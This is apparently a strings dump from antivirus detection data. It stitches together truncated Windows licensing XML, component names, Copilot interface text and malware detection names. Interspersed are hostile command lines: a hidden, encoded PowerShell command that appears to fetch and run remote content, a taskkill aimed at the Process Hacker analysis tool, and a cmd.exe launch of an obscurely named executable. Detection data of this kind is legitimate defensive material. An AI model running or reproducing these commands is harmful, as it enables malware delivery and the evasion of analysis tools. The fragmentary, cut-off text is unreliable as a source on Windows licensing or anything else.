name="Kernel-MUI-Number-Allowed" attributes="reboot-required, overr
870-407a-9b8e-ce94d0fb5261}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>pLbIhy1a9EgGVg7J/bTRWkadkZc=</DigestValue></Reference></SignedInfo><SignatureValue>A4gLlkPO3aysCGX172uFnfZ1uyzI9vTCGacLZNGzU33ijdhD8khYZxCW/DtjADHNOhZGPvqr0vmPbHf8/TyRo4mJ8IpmMsogbhpHFsXknJU5tP1h7Js9vl8cjzxBrDQPNiz2Q6W61JHdsS1m5AoVKQG/mGsb57eoV5WrG7C+1hVz0wgZlVQHUiYC9DNJxZwZl6XM/nV6AaPCGWFOxaeNR+kqg7QZVSKJcWUzwq1mfSGaxx20YXrfAG+eOAUQOQ3nlBLn6wpmkXmIgcPqkLAAvRoTbt1NWMHpOJFgr5O0Z0TrEHqAAKXvd/HFLxZ7fKOP7H+hKxw3zqWZgGof6vMEuw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{cf741c46-3276-4bde-b518-bcabee96ed03}</tm:infoStr><tm:infoStr name="productSkuId">{c86d5194-4840-4dae-9c1c-0301003a5ab0}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">48</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{2e77891a-61c3-4afe-bb88-3fa2f5cd3971}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37Dwb
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{e5c7bd63-6f39-40b1-949c-257eadbfcc7a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/20hbin
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Wizzlabs\windows\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb!#ALFPER:Trojan:Win64/TumbleTree.B!dha
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{26dcbba1-efe4-4a97-89b4-7570d3be68ad}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professiona
WindowsSearchCharm.Local_Action_ContactHero
WindowsSearchCharm.Local_ContactHero
c:/windows/system32/d4
c:/windows/system32/dt
wow64_windows.networking.vpn_31bf3856ad364e35_none_4fa2090b5b240419
wow64_windowssearchcomponent_31bf3856ad364e35_none_118d680c1a567a84
wow64_windowssearchengine-structuredquery_31bf3856ad364e35_none_a7218b2ca2046c9d
wow64_windowssearchengine.resources_31bf3856ad364e35_en-us_6f73ec5a1b9746ac
wow64_windowssearchengine_31bf3856ad364e35_none_f55d094c53aa0613
GuldenRuche for WindowsG
ae^com.microsoft.windows.ei
b4^com.microsoft.windows.e
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c27b110f-efc3-4f85-bc53-f75aaa0243ca}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="Professional"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">Professional</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">EA8AAHdmVUQAAQABeAEAADMiEQAAAQABABEQAwAAAAIAAAAAAAAAAAAAAAAAAAAhAAAAAAEAAAAAAAAAAQAAAAH//////////////////////////////////////////+U8QE9dvpMIJ1sSQ6dZPBkQOYuu5nP4mV70s4cDnTro2AUBAAH+AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyhbin
<?xml version="1.0" encoding="utf-8"?><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{26c3f742-4faa-2a07-f241-cad4690f2217}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>DefaultPpd-ProfessionalCountrySpecific Component PPD License</r:title><r:grant><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:possessProperty/><tm:application xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><editionId xmlns="http://www.microsoft.com/DRM/XrML2/TM/v2" value=""></editionId></tm:application><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>100</sl:priority><sl:policyInt name="AAD-WindowsCore-AddAccountRestrictions">0</sl:policyInt><sl:policyInt name="AAD-BlockAADWorkplaceJoin-Default">0</sl:policyInt><sl:policyInt name="AAD-AddDeviceJoinUserToAdminGroup-Policy">0</sl:policyInt><sl:policyInt name="ActionRuntime-Available">0</sl:policyInt><sl:policyInt name="ACLUIFileFolderTool-IsSecurityUIEnabled">1</sl:policyInt><sl:policyInt name="Administrator-Protection-Elevation-ETW">0</sl:policyInt><sl:policyInt name="Allow-WindowsSubscription">0</sl:policyInt><sl:policyInt name="Allow-AppLaunch-Container">0</sl:policyInt><sl:policyInt name="ConsumeAddonPolicySet">0</sl:policyInt><sl:policyInt name="AMR-CODECS-MSAMRNBInSKU">1</sl:policyInt><sl:policyInt name="AppDefaults-UseAlternateProgIds">0</sl:policyInt><sl:policyInt name="appid-EnableV2">1</sl:policyInt><sl:policyInt name="AppMan-AppV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppMan-UEV-Subscription-Active">0</sl:policyInt><sl:policyInt name="AppReadiness-BlockLogonForCriticalAppsOnly">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-AllowAllTrustedApps">0</sl:policyInt><sl:policyInt name="AppXDeploymentServer-License-MaxSideloadedPackagesCount">-1</sl:policyInt><sl:policyInt name="AzureStackHCI-Service-Enabled">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Enforce-Registration">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Registration-State">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-CensusSync">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Config-DiagUpload">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitCoreOSMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Emit-Preview-Meters">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitWindowsMeter">0</sl:policyInt><sl:policyInt name="AzureStackHCI-Billing-EmitOnePDeviceMeter">0</sl:policyInt><sl:policyInt name="Branding-Override-Available">0</sl:policyInt><sl:policyInt name="BrightnessReset-Enabled">0</sl:policyInt><sl:policyInt name="BuildFlighting-ControlBuildFlighting">0</sl:policyInt><sl:policyInt name="ChangeDesktopBackground-Enabled">1</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowConfigurablePolicy-CustomKernelSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-AllowSkuPolicy-CbsAndCompDbSigners">0</sl:policyInt><sl:policyInt name="CodeIntegrity-CloudEdition-Enforce-Required">0</sl:policyInt><sl:policyInt name="CodeIntegrity-SKU-Unlock">0</sl:policyInt><sl:policyInt name="ContentDeliveryManager-License-ContentDeliveryAllowed">0</sl:policyInt><sl:policyInt name="Cortana-AllowCortana-Enabled">1</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileStorageReserve-Enabled">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Mini">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Kernel">0</sl:policyInt><sl:policyInt name="Crashdmp-DedicatedDumpFileSize-Full">0</sl:policyInt><sl:p
windows\system32\cmd.exe/c%programdata:~0,1%
Microsoft.Deployment.WindowsInstaller
windows.hlp
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{47ce576c-9f6a-47ee-b3b2-ca757e3b5c50}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalCountrySpecific"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2F(`
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
x86_microsoft-windows-a..c-performance-layer_31bf3856ad364e35_none_794d58a2e8bb4123
x86_microsoft-windows-a..nce-layer.resources_31bf3856ad364e35_en-us_1acc20d7a11f22c8
x86_microsoft-windows-activexcompat_31bf3856ad364e35_none_bf3b8003167438d6
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_bg-bg_a6f7fe0946b0a47e
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_cs-cz_d3a169d7652fc4eb
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{1bb346de-1105-4bf4-b5f3-7a82addcbf70}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalEducation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:ap
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{f3788ca0-42a7-4004-8fb2-6e06b721b3d0}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalEducation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue
sname="Microsoft.Windows.Common-Controls" 
tc:\windows\system32\cmd.exe/c"{9b8560c7-2992-ce4b-5528-50059992c8f6}\b76c447d-3c92-233e-bb77-7f8596c7322f.exe'
C:\WINDOWS\system32\SearchIndexer.exe/
gC:\WINDOWS\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhackerIMPORTANT.txt!#ALF:Trojan:Win32/Zbot.SIBY!MTB
MainWindowStatusBarPalette
microsoft office/16.0 (windows nt 10.0; micr
EligibleWindowsActivY
Microsoft.Windows.WiFiCloudStore
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%C:\ProgramData\Microsoft\Windows\AppRepository\State
%C:\ProgramData\Microsoft\Windows\AppRepository\State
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-encodedcommandcgakacqaqqaxad0awwbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6afuavabgadgalgbhaguadabtahqacgbpag4azwaoafsaqwbvag4adgblahiadabdadoaogbgahiabwbtaeiayqbzaguanga0afmadabyagkabgbnacgajwbvadmabab6agqarwbwahqatabraduababkaemanqbyafoavwbkaeqaygbhagwababiag4auqa9accakqapaaoacgakacqaqqayad0atgblahcalqbpagiaagblagmadaagacgajabbadeakqakaaoacgakaeeamwa9afsavablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaccaugbhadkamwbiag0aeab2afkavwbsafqazabiaeoacabiag0aywa9accakqapaaoacgakacqaqqa1ad0aigboahqadabwadoalwavadganwauadeamgaxac4anwa5ac4aoaaxadoanqawadaamaavagqabwb3ag4ababvageazaavadqamabkagiaywa1aduamwayadcanga4adqayqbhadcayqa3adkazaayadcanqaxadiamaaxaguaoabladeamgauahqaeab0aciacgakaaoajabbadyapqakaeeamgauacqaqqazacgajabbaduakqakaaoacgbjag4adgbvagsazqataeuaeabwahiazqbzahmaaqbvag4aiaakaeeangakaaoaiaagacaaiaa=
start/minpowershell.exe-windowstylehidden"cls;write
 Copilot is displayed in this languageDisplay Microsoft Copilot in this languageContinue running background extensions and apps when Microsoft Copilot is closedHelp make Microsoft Copilot better by reporting the <a is="action-link" target="_blank">current settings</a>Microsoft Copilot regularly checks to make sure you have the safest settings. We'll let you know if anything needs your review.Microsoft Copilot found some safety recommendations for your reviewMicrosoft Copilot will let you know if anything needs your reviewMicrosoft Copilot updateMicrosoft Copilot can check your passwords when you save themLearn how Microsoft Copilot keeps you safeMicrosoft Copilot's safety toolsWith <a href="$1" target="_blank">tools from Microsoft Copilot</a>, you can browse safely and stay in controlMicrosoft Copilot Incognito<a href="$1" target="_blank">Microsoft Copilot warns you</a> about unsafe sites and downloadsMicrosoft Copilot is out of dateMicrosoft Copilot is up to dateGo to Microsoft Copilot version settingsRelaunch Microsoft CopilotYou haven't visited recently. Microsoft Copilot removed $1You haven't visited recently. Microsoft Copilot removed $1, $2You haven't visited recently. Microsoft Copilot removed $1, $2, $3You haven't visited recently. Microsoft Copilot removed $1, $2, and $3 moreDangerous site. Microsoft Copilot removed notifications.Microsoft Copilot upgrades insecure connections to HTTPS automatically when possibleMicrosoft Copilot will try to upgrade navigations to HTTPSMicrosoft Copilot will warn you before loading any site using an insecure connectionWhen browsing in Incognito mode, Microsoft Copilot will warn you before loading a site using an insecure connectionWhen HTTPS isn't available, Microsoft Copilot will use an insecure connection without warning youMicrosoft Copilot CanaryMicrosoft Copilot BetaMicrosoft Copilot DevWelcome to Copilot; new application window openedCopilot CanaryCopilot DevCopilot BetaApplication$1 - Microsoft Copilot Beta$1 - Microsoft Copilot Dev$1 - Microsoft Copilot CanaryMicrosoft Copilot isn't responding. Restart the application?Cannot start Microsoft Copilot because something went wrong when opening your profile. Try to restart Microsoft Copilot.Make sure you are signed in to Copilot on your $1 and then try sending again.Please close all Copilot windows and try again.Are you sure you want to uninstall Copilot?Uninstall CopilotWhen you uninstall Microsoft Copilot, your apps and widgets that depend on Copilot will no longer be available. $1Let Copilot Run in the BackgroundDisable Copilot Running in Background for AppsCopilot cannot read and write to its data directory: $1Your profile can not be used because it is from a newer version of Copilot. Some features may be unavailable. Please specify a different profile directory or use a newer version of Copilot.Your preferences file is corrupt or invalid. Copilot is unable to recover your settings.Copilot lets you know if your passwords are ever compromisedCopilotFor security, Microsoft Copilot requires you to sign in with your device password.Microsoft Copilot is trying to show payment card details. Enter your Windows password to allow this.Microsoft Copilot is trying to show passwords. Enter your Windows password to allow this.Microsoft Copilot is trying to copy passwords. Type your Windows password to allow this.Microsoft Copilot is trying to edit passwords. Type your Windows password to allow this.Microsoft Copilot wants to export your passwords. Enter your Windows password to allow this.Microsoft Copilot is trying to import passwords. Enter your Windows password to allow this.Microsoft Copilot wants to delete your Password Manager data. Type your Windows password to allow this.Microsoft Copilot is trying to replace existing passwords. Type your Windows password to allow this.This computer already has a more recent version of Microsoft Copilot. If the software is not working, please uninstall Microsoft Copilot and try again.Installation failed due to unspecified error. If Microsoft Copilot is currently running, please close it and tr
Microsoft.Windows.PeopleExperienceHost_10.0.26100.1a
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.36
